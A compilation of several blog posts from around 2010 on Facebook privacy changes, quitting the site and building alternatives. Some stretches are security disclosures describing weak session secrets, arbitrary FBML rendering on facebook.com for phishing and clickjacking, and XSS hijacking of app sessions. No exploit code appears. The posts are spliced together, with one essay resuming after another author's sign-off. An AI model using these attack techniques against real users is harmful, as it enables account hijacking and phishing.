But I think Zuckerberg is confusing the desire to share easily or freely and the desire to share publicly. Several researchers have explored how people approach privacy, and people constantly use services such as Facebook to post content they would not want distributed to the entire Internet. We’ve become accustomed to the idea of being private in public, since our offline conversations in public settings are not recorded and indexed for anyone to search. What would be the harm to users if content was private by default, but could be opened to the public if the author wanted that? After all, this is how Facebook operated for the first few years of its existence – and it likely played a significant role in the site’s growth.

Of course, while an opt-in approach may help many users, Facebook wants users to share more openly. More public content provides more value for other services that might integrate with Facebook, extending the site’s reach and influence. That’s part of why I find it difficult to simply accept Zuckerberg’s notion that most people are moving towards public sharing on their own: regardless of what individuals think, Facebook itself certainly has an opinion on how much you should share.

And that’s the real question – how much you share, not whether you share. I’ve never been opposed to making it easier for users to share content. But I do have a problem when a site that was built on sharing with a limited audience reorganizes to make that same type of sharing more difficult than fully public sharing – an activity that carries far more potential dangers, both social and otherwise.

Facebook has built an unprecedented audience of users who give it significant trust. I’m glad to see the company making welcome changes which assist users who actively care about privacy controls. But I remain concerned that the company’s overall perspective still reflects questionable ideas, such as the notion most people are not concerned about privacy, and either fails to recognize the company’s role as a trend-setter or ingenuously downplays it. That’s not a personal attack on Zuckerberg, whom I’ve never met, or anyone else at Facebook. It’s simply my evaluation of the service’s direction based on recent features and public relations. And I think Facebook owes its users much better.

• Yelp Security Hole Puts Facebook User Data At Risk, Underscores Problems With Instant Personalization (two XSS holes in a few days discovered)
• Want to know what Cross-Site Scripting (XSS) is and how it works at a basic level? Check out Episode 2 of our podcast.
• Facebook Leaks IP Addresses via Email
• Facebook is dying, social is not.  Is Facebook overplaying your hand?
• Diaspora “The Open Source Anti-Facebook” raised $133,182 (close to 4,000 supporters!)
• Dispite all this…Facebook Rolls out New Security Features
• What does Facebook publish about you and your friends? Searching the OpenGraph.
• I Can Stalk U – Raising awareness about inadvertent information sharing
• Swipely aims to take over where Blippy left off

Please send any show feedback to feedback [aT] socialmediasecurity.com or comment below.  You can also call our voice mail box at 1-613-693-0997 if you have a question for our Q&A section on the next episode.  You can also subscribe to the podcast in iTunes. Thanks for listening!

It seems like maybe I talk too much about Facebook security. But it’s a growing issue in the news these days. As you can see from the image next to this blog post on my website, one of the most searched terms in Google is now “How do I delete my Facebook account?” (In fact, as of today, if you type “Delete” into a Google search, the top suggestion is “Facebook account”) So, I’m debating quitting Facebook on May 31 with the others who are disgusted with the site’s disregard for privacy and security. (See http://www.quitfacebookday.com)

My reasons include:

(1) You can’t seem to depend on anything you put there to be kept private – more due to constant policy changes than hackers;

(2) Facebook is now one of the biggest sources of phishing scams on the Internet, which are causing real losses;

(3) On any given day, the privacy of your data may depend on your FRIENDS’ settings, not just yours;

(4) Very few people are able to decipher the privacy settings to choose meaningful rules, which leaves them exposed – even me;

(5) Facebook shares your data with other sites (through the Open Graph API, the Like Button or Instant Personalization) in ways that can cause embarrassment and lead to identity theft;

(6) Facebook does not appear to be abiding by its agreement with the Privacy Commissioner or Canada to improve its handling of private information.(http://www.priv.gc.ca/media/nr-c/2009/let_090827_e.cfm)

Arguments against quitting Facebook include:

(1) All the “hip” young people say “Privacy is dead. Build a bridge and get over it…”

- Chanting this may make them feel good, but doesn’t change the fact that the easiest place to be scammed or have your password stolen is through social media sites that have very weak security and authentication. People must still care about their privacy, if only to ensure that persecution and other politically motivated abuses don’t victimize innocent people – it’s a slippery slope.  Privacy commissioners have a very difficult job these days. But it is an increasingly important one.

(2) How will I connect to friends and family without Facebook?

- How did you do it in 2003? It also depends on whether you use Facebook for “reading” or “writing” or “both”. If you just like to “see” what’s going on, you can use Twitter, with the caveat that you need to be careful of those short URLs that can take you to dangerous places. But tools like Brizzly.com can expand the links for you, so you’ll know where they are leading you. However, if you like to write lots of personal details of your life, and only want to share it with friends, that’s the biggest challenge right now – because even Facebook doesn’t provide assurance that your private posts won’t be shared with people you might not want to see them. There aren’t many tools that are widely used and can do this. But they are coming. So, maybe it’s better to wait.

(3) One person quitting from a group of 400 Million isn’t going to make a difference.

- It’s true that the numbers make this initiative look futile. So, for most people, quitting won’t make a difference to anyone. But if you are a person of authority, especially a security or privacy authority, your actions can show the people around you that this is a serious issue. Parents telling their kids that they are quitting – and why – may or may not have an impact (depending on whether the ear-plugs are in or not).

Public figures like Leo Laporte  can have a significant effect on their followers. (Click  HERE for the story which includes a link to the WikiHow page on how to quit Facebook)

As a security consultant who has been following this trend, I am asking people to take it seriously. If you are a security manager in a company, you can also have an influence on your co-workers, as long as they don’t see you as being heavy-handed, or crying “wolf” – which may be unavoidable in some cases.

(4) If all the security and privacy advocates quit Facebook, who will counsel those who still use it to let them know about the risks in their own “element”?  Good question. I don’t have an answer to that one. I may leave a Facebook page up (which is different from a personal profile). That way, people can still reach me and see what I have to say, publicly, and maybe understand why I no longer have a personal profile… and maybe they shouldn’t either.

What will the future of social networking look like?

I believe something will come along that is more secure than Facebook, and will provide the connections we need – without as much risk. But it may take a while. There is an initiative called Diaspora (http://www.joindiaspora.com/), which has this very intent. While its initial incarnation seems to have a few serious weaknesses of its own, this is the kind of thing that needs to happen to combine a great vision for social networking with a level of trust that can be sustained.

So, what do you think?

(1) Should I quit Facebook on May 31? or sooner?

(2) Will you quit Facebook?

Feel free to comment below. (NOTE: If all you plan to say is “Privacy is Dead”, get ready for a flaming arrow!)

Here’s how to delete your facebook account – http://www.wikihow.com/Permanently-Delete-a-Facebook-Account

I am now offering monthly briefings, tailored to organizations that want to build and sustain security awareness for staff. Just because your security team is too busy to do its own training and awareness doesn’t mean you can’t have an economical way to address human security risks. Please call or email me at the coordinates below…

Scott Wright

The Streetwise Security Coach

Join the Streetwise Security Zone at:
http://www.streetwise-security-zone.com/join.html

Phone: 1-613-693-0997
Email: scott@streetwise-security-zone.com
Twitter ID: http://www.twitter.com/streetsec

To receive weekly security tips and other notices about helpful content available on this site, please make sure you are on my list by clicking HERE, and entering your name and email address.

Why the Change?

And why did Facebook make those changes? There’s no technological reason for many of them. Nothing about liking pages or using social plug-ins forced the company to remove old access controls or make “instant personalization” an opt-out feature. Facebook’s executives made a policy and business decision to push users into more public sharing. In many ways, we’re having this debate because Facebook chose to make it an issue.

That’s not a criticism, simply an observation. In fact, many would probably say that Facebook was right to challenge ideas on privacy. Popular tech blogger Robert Scoble has repeatedly argued that Facebook’s changes bring many benefits to users. One writer at Fortune questioned any backlash and gave this response to Pandora’s new social setup: “My first reaction? Creepy! My second reaction: Cool!” Is it wrong to force users into a new situation that’s uncomfortable at first if it ultimately brings significant value?

In this case, however, the ultimate value to users remains unclear. Many users will certainly find advantages to a freer flow of information. But does Facebook really have the right to decide whether content people had previously restricted should now be available publicly? How can any of us judge whether the benefits outweigh the downsides for each user? Many users chose to put information in their profiles that they did not want shared beyond certain limits. If exposing that information seems trivial, are you certain you understand why the profile owner thought limits so important to begin with?

I would argue that by pushing the envelope on our understanding of privacy, Facebook’s leadership made changes that benefit the company, partly by also benefiting developers and partners. That’s not necessarily a bad thing – Facebook is a business and has to make money. But while those changes do benefit some users, perhaps even a majority of users, they also harm the trust of many other users who had shared private content on Facebook.

Where’s the Backlash?

In the short term, the benefits outweighed the downsides for Facebook. Several high-profile users have deleted their accounts, and others are following suit. But keep in mind that even if 10 million people stopped using the site, that would only be a 2% reduction in user base.

As the company faces widespread criticism and possible regulatory changes, you might expect Facebook to back down on some of their changes. I doubt it. Facebook’s executives know the company enjoys a very strong position in the market right now. They can afford losing 2% of users without breaking a sweat. And if people do leave, where will they go?

Given that level of security, why bother talking about Facebook privacy? Why does it matter if techie types bail on the service? Should we simply get used to having less control and move on?

To put it another way, should we let Facebook dictate our understanding of online privacy?

I realize Facebook will probably never go back to the way it once was and that there’s essentially no hope of meaningful competition in the short term. Yet Facebook didn’t reach this place overnight. Industry shifts take time. And many influential people in technology are often on the bleeding edge of such shifts.

Is Privacy Dead?

For the time being, though, Facebook users will likely react in one of three ways. First, they may not understand the implications of updates and keep using the site as before. Second, they might embrace the new capabilities and voluntarily unleash more content. Third, they will decide that they derive too much value from Facebook to let it go, and thus will, perhaps begrudgingly, keep their account – but they’ll be far more careful about what they post in the future.

I suspect that as awareness grows of how much data Facebook now distributes, many people will take more precautions in using the site. That’s not necessarily a bad thing – I’ve long argued for increased education of online dangers. People need to be careful online, regardless of how “private” a service seems. But care is not the same as paranoia or having to manage your identity the way a celebrity might. If Facebook wanted to increase intimacy and authenticity among online friends, they may find they’ve actually done the opposite.

Some people, such as Scoble or perhaps Mark Zuckerberg, have chosen to live their lives with “radical transparency.” Most of us probably still want to keep certain information private, and yet we routinely share that information with parties we trust – even online. I use my credit card number when shopping at Amazon, but I’d prefer they keep it to themselves. When I filled out web-based job applications last year, I often had to disclose my social security number – a small bit of data I would not want passed around. In a more offline example, I’ve often shared personal struggles with close friends in other states by talking with them on my mobile phone.

I realize that a determined hacker could possibly steal my payment info or even my SSN when I send that data to websites. I also know that my phone can be tapped or that my friends could repeat our conversations to others. But based on a wealth of factors, I make a decision to take those risks, since I judge the likelihood of these scenarios (especially given certain precautions I take) to be minimal.

The idea that any data you transmit to another computer should be considered public has significant merit. In practice, though, much of our offline lives face the same technical threat of publicity, and channels have long existed to share electronic data with only a limited audience. Most of us would not want the entire world to see all of our e-mails, and a range of businesses let only certain people access certain servers.

Which brings me back to one of my original points: nothing forced Facebook in a direction away from privacy. They chose it. I doubt whether they would have around 500 million users today if they had chosen that direction years ago. But even if Facebook now thinks I should share all of my content with everyone, I still find value in keeping some information limited. For me, that’s the essence of online privacy. And while one website with a very large audience may have reduced privacy by keeping me from using their features in a limited way, I will continue to exercise control over my data in other ways.

What Now?

The current debate about Facebook and privacy may seem confusing, futile, or even pointless. But it’s important to evaluate the background and ramifications of Facebook changes, especially given the company’s influence on industry trends. It’s important to realize that visible competition and meaningful alternatives to Facebook will require months or even years of development. And it’s important to understand how much privacy still plays a role in the way people manage and share information, whether online or offline.

Perhaps Facebook will end up right, and most people will move away from old ideas about privacy. But I’d rather see companies educate users on new features and empower them to choose more public sharing rather than expose previously private content and encumber such a change with illusory settings. Facebook may try to say most people don’t mind their new take on privacy, but I think they’ll find this debate is far from over.

Facebook’s faced criticism for several security issues over the last few weeks. In April I reported on a vulnerability that allowed applications to be hijacked for stealing data or spreading malware. More recently, a glitch allowed users to spy on Facebook Chat sessions and problems with Yelp showed the risks of cross-site scripting in “instant personalization” sites.

Unfortunately, I have a few other holes to report. I first notified Facebook of these new issues last month, but I wanted to give time for patches before I published details on the problems. Facebook has since made several changes that address some of the issues I raised. However, some of the problems appear to remain. Given the updates and length of time since my reports, I decided to go ahead and post about these issues, but I’m withholding technical details on issues that are still active.

Weak Session Secrets

On April 19, I notified Facebook of a behavior I was observing in applications and Facebook Connect websites. Prior to the new OAuth 2.0 model, the required parameters for a Facebook API request included a session key (identifying the user’s session with the application) and a session secret (a code to verify the authenticity of the request’s source). If an application used an <fb:iframe> or <fb:swf> tag to load content from another domain (such as an advertisement), the request to the other site would include the session key, but not the session secret.

The problem I saw, however, was that the session secrets being issued were part of the session key. For example, suppose Facebook issued this session key: 2.sNXhV4G1ILRKkvdBHoIbTg__.3600.1271682500-00000000. The session secret would then simply be the first set of characters between periods: sNXhV4G1ILRKkvdBHoIbTg__. This meant that any site which acquired a valid session key could extract the session secret and make API requests. While harvesting the session key is not necessarily trivial, the code is passed around more freely than a session secret (such as the advertising example noted above) and vulnerabilities listed below could be combined with this behavior.

I’m not sure exactly when Facebook started issuing weak session secrets, but when I made the report I had observed several of them and tested that I could extract session secrets from session keys. After about a week, I once again saw session secrets issued that bore no relation to the session key, and I could no longer extract a string from the session key and use it to issue API requests.

Arbitrary FBML/FBJS on Facebook.com

On April 14, I noted an even more worrisome issue, and on April 29 I sent a similar problem using a different URI. In both cases, I’d uncovered a way to render arbitrary FBML/FBJS in the context of a facebook.com page without any typical UI chrome. Such a vulnerability presents a range of possible attacks.

First, this could enable the same sort of data harvesting I had demonstrated with the Facebook Platform vulnerability published last month. I could load a Facebook page that included inline frames pulling content from other websites. While <fb:iframe> did not appear to include the session secret in requests, it did include enough information to identify the current user, as well as the session key. Also, the <fb:swf> tag for loading Flash content did include the session secret as a parameter when loading content, even from other domains.

One could also combine the new OAuth 2.0 flow with this issue to harvest a user’s Facebook ID and access public information about them. Essentially, you could imitate the behavior of an “instant personalization” partner on any website, with or without notice. This happened because the OAuth redirect parameters allows facebook.com URIs.

Second, since the page would render on facebook.com, I could load other Facebook pages in iframes and they would not have clickjacking protection enabled. This would allow previously described clickjacking attacks to be launched once again.

Third, it was unclear to me if the vulnerability enabled some further application hijacking by a failure to check a parameter for cross-domain communications. This aspect could have been nothing, but I’ve not done enough testing to make sure.

Finally, the problem presents a dream situation for phishing. Once could easily load a convincing Facebook login form that sends the information to another server – and the URI for the page would appear to be on facebook.com.

Over the last few weeks, Facebook has altered these pages so that they no longer render all FBML or FBJS code. Specifically, iframes and Flash content will no longer work. This prevents many of the attacks described above, especially those that allow automatic data harvesting.

However, one can still render a range of code using these pages, including form elements. That means the phishing scenario described above is still an active possibility. To make matters worse, the parameters necessary to render code can be included in a POST request, meaning the URI in the user’s address bar for an attack page could be a short facebook.com address.

Below is a screenshot of this website loaded in the context of a facebook.com page using the original vulnerability reported on April 14. The second method uses a www.facebook.com page, resulting in an even shorter URI on the address bar.

Social Hacking (theharmonyguy.com) loaded on a facebook.com page

This particular issue actually came from a Facebook feature that was implemented without much security. I knew that fixing it might take some time, since a number of developers depended on the feature involved. I’m glad that some of the threats have been removed, but more still needs to be done before this feature can be considered secure.

Update: Since this post I’ve found a third implementation of the feature, and this method provides an even shorter URI.

Update 2: It appears the feature involved in this FBML/FBJS issue was deployed in July 2008, so it’s quite possible the problems I noted in April have been active for almost two years.

Frustration with Facebook has appeared to reach a tipping point recently. Changes to the service have always drawn criticism and even outrage from various users, but after the latest updates, I’m seeing more people talk seriously about leaving the site. Consequently, some people have begun looking for alternatives, and a few have even started trying to build their own.

I’m among those looking for alternatives. I’ve held back from closing my account several times in the past due to a large network of friends, but my concerns continue to rise. Few other options exist, though, and any service looking to compete directly with Facebook faces an uphill battle.

Consider this post my advice to anyone who wants to tackle that challenge.

1. Avoid Pitfalls in Planning

When I’ve observed people discussing Facebook competition thus far, they invariably seem to fall prey to what I see as two mistakes. First, they focus almost entirely on the development side: what back-end technologies to support, what formats to use for data exchange, protocols for such interactions, etc. All of these aspects are important to consider, but I contend that you need to start by looking at the user side of the equation: mapping out the features you will sell to average people, designing interfaces with usability and simplicity in mind, creating processes and workflows that anyone can understand.

Second, many critics of Facebook focus on how the company fails to be “open,” a term that has long since entered buzzword territory. Ask a developer about their Facebook replacement, and they’ll probably start by telling you how it uses the Open Stack, with tools such as OpenID, OAuth, and Activity Streams. I have no problem with using these formats in a new site, but once again, you ultimately have to focus on your users. If you want your product to find mainstream adoption, you’ll have to convince average consumers that using it is worth any difficulty involved in leaving Facebook. Most people don’t care so much about whether technology is “open” or “closed” so long as it works. (Case in point: iPhone.) Rather than starting your plans by picking which “open” standards you’ll use, start by designing a better social networking service and then determine how “open” specs will help you build that service.

2. Think Through Your Setup

While I don’t recommending starting with too many technical details in planning, you still need to think through how the general structure of your application will work. Social networking services tend to involve a number of interlocking components, and the nature of the content involved can invoke problems other services don’t normally face.

For instance, nearly every Facebook alternative I’ve heard about thus far is built to be a distributed system, connecting multiple servers or platforms together into an aggregated network. This offers a number of advantages over Facebook’s centrally controlled setup.

But it also brings a number of disadvantages and hurdles that ought to be addressed. Say your social graph on a distributed service includes 500 friends, with profiles spread across 100 different servers. What sort of performance will you get when you need to pull data from 100 sources to build a news feed? If you use caching, how will you handle data retention and expiration to respect others’ privacy? What sort of fail-safe measures will be in place if a few servers are down? How will you establish trust relationships or handle malicious users? How will security vulnerabilities in one server affect others on the network? How will you ensure every server stays updated with the latest patches or features? All these questions and more come into play with distributed social networking, and I’ve yet to see many of them satisfactorily addressed by current offerings.

3. Learn from Academic Researchers

Many people in the academic community are producing research that addresses how people interact both offline and online, as well as how people understand concepts of privacy and social networking. As websites continue to reshape the fabric of our society and Facebook in particular affects notions of privacy, you simply can’t afford to ignore these studies.

While I wouldn’t want to neglect the work of anyone in this field of academics, I particularly respect and recommend works by danah boyd. For example, her talks on “Making Sense of Privacy and Publicity” and “Privacy and Publicity in the Context of Big Data” are must-read material for anyone looking to enter the world of social networking development. I’d also advise learning about the Helen Nissenbaum‘s concept of “contextual integrity,” explained well in a series of articles by Michael Zimmer. Fred Stutzman and Kaliya Hamlin (though she’s strictly not in academia) are just a few more of the many people I’ve come across who are contributing to our understanding of social media. Get familiar with more than just the technical implications of social networking: understand the social side.

4. Relationships are Not Digital

I understand that the Internet has created new possibilities and methods for people to relate to one another, and I’m not arguing there’s anything inherently wrong with those developments. But I do think some online applications generally employ constructs that fail to resemble many offline relationships. For example, many online connections with other people are essentially binary – friend or not, follower or not. Making such a connection often involves a subscription to the other person’s entire stream generated updates, regardless of type or content. Control over those updates can be limited or confusing.

I recognize that providing effective communication channels that avoid being cumbersome but also reflect social norms is a daunting prospect. It’s no wonder most of the sites we’ve seen thus far have followed previous online models of communication, such as the simple dichotomy of public discussions and private messaging. But I think it’s time we reevaluate some of our ideas about how sharing content should look and seek out new methods for staying in touch.

Of course, with this point I’m really advocating for a Facebook alternative that addresses a certain market: an online service that helps people leverage technology to stay better connected with their offline friends and associates. Remember, my overall message here is to build a better Facebook. It’s not enough to make things more open, or offer more privacy controls, or integrate with more sites. You need to provide more value. And personally, I see a great opportunity to provide more value in finding better ways for people to stay in touch. As someone who lives in a different state than the majority of my friends and family, I have enough trouble keeping up with people even with Facebook, but getting rid of my account would make that task more difficult. I would love to see a service that improves on Facebook in this area, and I imagine many others would as well.

One other note on this point: I would love to see a service try and tackle the issue of multiple identities with a more elegant solution than letting users create multiple accounts.

5. Don’t Overdo Privacy Settings

Given the uproar over Facebook’s lack of certain privacy controls and the amount of time I’ve spent talking about privacy controls, this point may seem a bit strange. But “privacy” is not simply about having granular, detailed settings for every bit of content or feature on a site. Too many choices will easily overwhelm users, and while powerful controls may help enterprises manage permissions on resources, most people don’t have the time to manage a plethora of menus and check boxes.

This ties back into previous advice on understanding the social side of social networking. Don’t simply rely on the sort of controls that you as a developer or systems administrator use for managing data. In some cases, you may even need to simplify things by eliminating layers. For instance, Facebook provides separate settings for both the photos application as a whole and the photo albums within the application. I would argue getting rid of the former and displaying available albums based on the current context.

From a high level, I think privacy controls need to clearly but concisely communicate two things to a user: who can access the data and where (or how) may the data be publicized. Whatever settings you include need to be simple enough to maintain usability but clear enough to avoid any unpleasant surprises.

6. Reduce the Noise

Facebook and other services thrive on people sharing content. These sites push people to produce more content and increase the flow of information. However, I would contend that while access to increased information can bring many benefits, we have to balance that notion with the understanding that more knowledge is not always better and that increased information does not always need to broadcast. Many online users are suffering from severe information overload, and better filters alone are not going to solve the problem. It’s time we dialed back some on the production of content to begin with.

Please don’t misunderstand my position here: I’m not trying to put an end to Wikipedia or become some sort of content police. What I am saying is that our obsession with streams and the real-time web may be driving us to lose sight of other priorities. Just because your service can track and broadcast every activity your users perform doesn’t mean that it should.

7. Integrate with Facebook

This is one bit of advice I’ve not seen anywhere else thus far: If you want to beat Facebook, use Facebook’s features against it. Over the last several years, Facebook has provided more and more access to information for third-party developers. I’ve not seen any provisions that would prevent another social networking service from taking advantage of these methods.

I’ve often heard people talk about the idea of “taking your social graph with you,” but that’s not really the problem right now. It may be a bit complicated, but you can pretty much export your entire social graph from Facebook. The real problem is this: where do you take it to? The only “import” function for most sites involves scanning a list of e-mail addresses to find other users.

With Facebook’s APIs, though, you can simply connect your other social networking profile with your Facebook profile. Be warned that you should not simply assume people who do this will want any Facebook friends who sign up for your site to know about their profile or be their friend on your site. But you at least have options to make the transition much smoother.

Also, since people criticize Facebook for taking in more information than they give out, you can simply make sure data originates outside of Facebook. Your application can push status updates, messages, and content to Facebook, and then you already have a copy on your service. Besides, nowadays you can pull a user’s inbox, updates, notifications, and so on from Facebook as well.

8. Value What Your Users Value

Building a Facebook alternative includes many details to worry about, such as monetization, advertising, and privacy. But never forget what makes any service valuable: the people that use it. If your product becomes popular, that means people will be using it to share content they deem valuable and trusting you to store content they deem valuable. You will have to earn that trust and work hard to maintain it.

Communicate with your users in a helpful, honest way. Give them meaningful support options. Provide them with default privacy settings that protect them rather than surprise them. It can be fine to let users share everything with everyone if they want, but let the users decide and empower them to choose the path they want rather than push them towards one approach.

And above all, keep providing a service that people find useful. The real reason so many people still use Facebook is that the benefits outweigh any difficulties or privacy concerns. If you’re going to compete with Facebook, you’ll have to top that.

(Oh and one last bit of advice: come up with a good, professional name for your start-up. Please.)

I just wanted to give props to some folks who are really getting the impact of the changes to  Facebook privacy policies and settings, and trying to get the message across in different ways.

Facebook privacy settings are getting so complicated, few people seem to know the implications. And as a result, most don’t bother changing them. For those of you who remember what it was like to try to program a VCR back in the 1980′s and 90′s, what goes around comes around. The comparison is scary, as tweeted by Robert Nunez and Tom Watson – “Facebook privacy settings are the new programming your VCR”

(See http://www.preoccupations.org/2010/05/facebook-2010.html )

I heard about this observation while listening to This Week in Google (at http://www.twit.tv), when Jeff Jarvis mentioned it. Leo Laporte then added, “It’s like we’re all on flashing 12:00′s”  (If you don’t remember, it’s sort of like having a digital clock that loses power and forgets what time it is.) For the old VCRs, you had to go in and reset the time, then you had to set the channels and times you want to record. It was so complicated, many people just left them with the flashing 12:00′s. I can relate to that, along with many others I’ve heard from, regarding Facebook’s increasingly convoluted privacy settings.

Facebook just seems to want people to give up on protecting their privacy. To paraphrase Jarvis, it seems strange that instead of leveraging the trust of its 400 million users, and taking the opportunity to establish itself as the “protectors” of our identities on the Net, Facebook is carelessly exploiting that trust to its fullest extent for short term profit. Too bad for them, and for all of us.

Also in that same episode of TWIG, Jeff Jarvis referred to the Electronic Freedom Foundation’s (EFF) timeline of Facebook privacy policies over the years. It’s interesting to see how convoluted it’s become since their first privacy statement in 2005, which read:

No personal information that you submit to Thefacebook will be available to any user of the Web Site who does not belong to at least one of the groups specified by you in your privacy settings.

(from http://www.eff.org/deeplinks/2010/04/facebook-timeline )

Now, as of April 2010, the policy reads…

When you connect with an application or website it will have access to General Information about you. The term General Information includes your and your friends’ names, profile pictures, gender, user IDs, connections and any content shared using the Everyone privacy setting. … The default privacy setting for certain types of information you post on Facebook is set to “everyone.” … Because it takes two to connect, your privacy settings only control who can see the connection on your profile page. If you are uncomfortable with the connection being publicly available, you should consider removing (or not making) the connection.

So, did you know this? Or have you quit Facebook – for good, or in protest – due to these moves? Or will it take one more move toward the cliff?

Not surprisingly, I don’t use Facebook for anything very personal. The stuff I put there is all pretty boring, say my friends. But if you joined a long time ago and have a significant amount of personal information in Facebook, you might want to read today’s Facebook privacy policies and consider how likely it is that what you thought was protected (by the default settings at the time you joined) may inevitably become public at some point.

Today’s trending topics might as well be “Facebook privacy settings changed” and “Facebook privacy policies changed“. So, if you still feel that privacy represents a fundamental personal value, we’d all like to know, “What value does Facebook continue to bring you as a tool, and is it worth the cost?”

Based on my experience in researching Facebook security, I was quite interested in the security ramifications of Facebook’s recent developer announcements. Some of the analysis I’ve seen thus far from others actually involve rediscovering previously reported concerns with the old platform. But Facebook’s updates include a brand-new authentication scheme for applications, possibly affecting the sort of application attacks first described last year. From a security perspective, I wondered, how much has actually changed?

New Interfaces

To begin, let’s recap some of the new developer tools. First, Facebook is phasing out its old authentication scheme. Previously, applications would generate a session by forwarding clients to a particular Facebook URI. If the user chose to authorize the app, Facebook would forward the user back to the application context, passing along a valid session key (and session secret). The application would then use that session key to generate API requests, signing each with either the session secret or application secret.

Now, Facebook has rolled out OAuth 2.0, a lightweight adaption of OAuth 1.0 and OAuth WRAP. The spec defines several models for authenticating resources, and Facebook uses the Web Server Flow. This process actually involves two major steps. First, the application again forwards clients to a Facebook URI, though this time with a list of specific permissions desired. If the users grants that list of permissions, Facebook again forwards them back to the application with a session key. However, the application must now use the session key to request an access token from Facebook. This step is done directly from the application server, and the request must be signed by the application secret.

In addition to OAuth 2.0, Facebook added new API methods for accessing data. Developers can now use a simple JSON interface to make requests using a valid OAuth access token. At the moment, applications can still interface with the old REST API, but Facebook is requiring developers to use the new permissions model (and hence OAuth) starting June 1, and it’s likely all applications will eventually use the new Graph API for data access and publishing.

I’ve noticed another aspect to the shifts in developer resources: Facebook has hardly talked about FBML recently, and the new developer documentation barely references it. The new JSON APIs are tailor-made for JavaScript use, which would only make sense in an iframe canvas application. I’m not speaking with any insider knowledge, but based on several recent observations, I expect Facebook to eventually deprecate FBML-based apps and shift developers entirely to iframe canvas apps or external websites. (The new, JavaScript-friendly interfaces unite methods used for canvas apps and external sites that previously worked with the Facebook Connect SDK.)

Security and OAuth

While the original OAuth spec has been around for some time, Facebook’s David Recordon helped write the new version, and the first draft came out right around the time Facebook announced their implementation. Consequently, OAuth 2.0 is a rather young protocol, and it’s still under development. I personally find it disheartening that a protocol handling third-party authentication for the personal data of 400 million users has a section entitled “Security Considerations” that still only contains the note, “Todo.” Why would security be an afterthought in this arena?

Facebook’s implementation does have one significant strong point, though. The two-step flow they use makes it essentially impossible to forge a request for an access token. While you may be able to hijack the first step in authentication, getting a usable access token requires the application secret, and if you have that code, you’ve already broken the application itself.

Unfortunately, the benefits end there. While I’m not yet aware of any new vulnerabilities presented by OAuth replacing the old system, using OAuth does not affect many of the previously described application attacks.

Security and Facebook Applications

In fact, attacks on applications will likely get much easier under the new setup. First, since Facebook is pushing developers towards HTML-based applications rather than FBML, exploiting cross-site scripting (XSS) holes will be simpler. Taking advantage of an FBML app requires several tricks, but in a regular HTML context, one can simply insert JavaScript and go.

Second, while the new APIs make requests easier for developers, they also make cross-site request forgery (CSRF) easier for attackers. Since OAuth only handles the initial authentication, once an app has valid session, XSS attacks can hijack that session and issue requests back to Facebook using the app’s access token. This behavior is essentially identical to previous attacks, except that now one must use the access token and make Graph API requests instead of using a session secret to make REST API requests.

Of course, executing such an attack requires an XSS vulnerability in the application to start with, and one may question how common that scenario will be in practice. If my past research is any indication, the chances are very high. Last September I published a series of posts known as the Month of Facebook Bugs which recorded exactly this sort of vulnerability in various Facebook applications. By month’s end, the series demonstrated exploitable holes in nearly 10,000 applications, including six of the top ten apps by monthly active users.

Last month, after reading an article about security on Facebook, I decided to launch the Month of Facebook Bugs Reloaded. My initial plan was to find 30 more vulnerabilities and publish a list of the affected apps, but I’ve since decided against investing the time necessary to build such a list. However, the first afternoon I started working on the project, I found exploitable holes in half of the current top ten applications, specifically: FarmVille, Birthday Cards, Texas HoldEm Poker, Cafe World, and PetVille. Ironically, the FarmVille issue came from the same parameter I’d exploited last year, but this time on a new interface. All of the new issues have been reported for patching.

If you’re not familiar with application attacks, you may wonder how much damage could actually be done. And on this point, things have actually changed slightly. The code I demonstrated last year allowed an attacker to silently and invisibly hijack the session of an application the user had authorized and issue any valid API request back to Facebook. This previously included requests for a user’s private profile information and access to viral channels for spreading links – similar to the more recent vulnerability I described in the Platform itself. Note that the spreading links part could be used for spreading full-fledged malware.

However, Facebook’s new permissions model means that many applications won’t have full access to user information or publishing abilities. Still, any application which does have broad permissions will be a valuable target. But in addition to this change, Facebook has taken much of the previously private profile information and made it public, which means it remains accessible to an attacker, but harvesting is be less of a security issue since it’s now public to begin with.

Looking Ahead

Facebook’s recent updates demonstrated the company’s broad vision for integrating with sites across the Internet. As Facebook expands its reach, though, the surface of possible attack vectors will grow as well. Each site that makes use of Facebook’s powerful APIs will become a target for attackers looking to exploit those APIs. While cross-site scripting problems tend to be rather common on websites, they become even more dangerous when they open the door to compromising a Facebook user’s application session.

Thus far we’ve seen a few attacks against Facebook users that take advantage of applications, but none have been that widespread. I predict we’ll see this change over the next year or two. The size of Facebook’s user base and the trust relationships established on the service make it a very appealing target for attackers, and reduced development friction will likely lead many of them to realize the potential of attacking applications rather than the site directly. Also, the ubiquity of Facebook’s pop-up login windows for authenticating on other websites (often with minimal window chrome) will probably make pop-up imitations a more common scheme for phishing attacks.

Furthermore, other security issues that I’ve not described here still loom for Facebook. I’ve talked before about some of the issues with Facebook’s new Open Graph Protocol previously, and I am awaiting patch confirmation before discussing a few new vulnerabilities in the Platform itself. These problems not only allowed me to replicate the silent data harvesting I’d demonstrated with the issue reported back in March, but opened up new attack possibilities, such as rendering an arbitrary login form with a simple facebook.com URI.

Any site operating at the scale of Facebook is bound to face security problems and increased scrutiny from researchers. But here I’ve chosen particularly to focus on issues with Facebook applications and Facebook-enhanced websites. Attacking Facebook directly can be quite difficult, but insecure applications open up powerful indirect channels, and so far the security track record for applications is not encouraging. That track record could become even more important over the next few months as new APIs spread and old security issues persists.

Earlier today, Apple news site Macworld published a story with the ominous headline, “Facebook’s new features secretly add apps to your profile“. That claim will naturally get attention, and other sites have started the news.

There’s just one problem: The story appears to be incorrect.

I am not saying that Macworld’s writers are trying to mislead or that they intentionally reported incorrect statements. But I do think they did misunderstood some Facebook behaviors in their zeal to protect user privacy.

The behavior described in the article has nothing to do with “new features” from Facebook and existed under the old Facebook Connect model. When you visit a website that integrates with Facebook using application APIs, that site may load content from Facebook, such as buttons to login to the site with your Facebook account. Facebook then records a visit and lists the website’s application under the “Recently Used” section of your Application Settings page. Apart from the new instant personalization partners (Docs.com, Pandora, and Yelp), the external website does not automatically receive any of your Facebook information. Your visit will be included in the application’s active user count, but your name will not show up on the application’s information page. In fact, visiting that info page for any application has the same result – Facebook shows the app as recently used, but doesn’t transfer any data to the app.

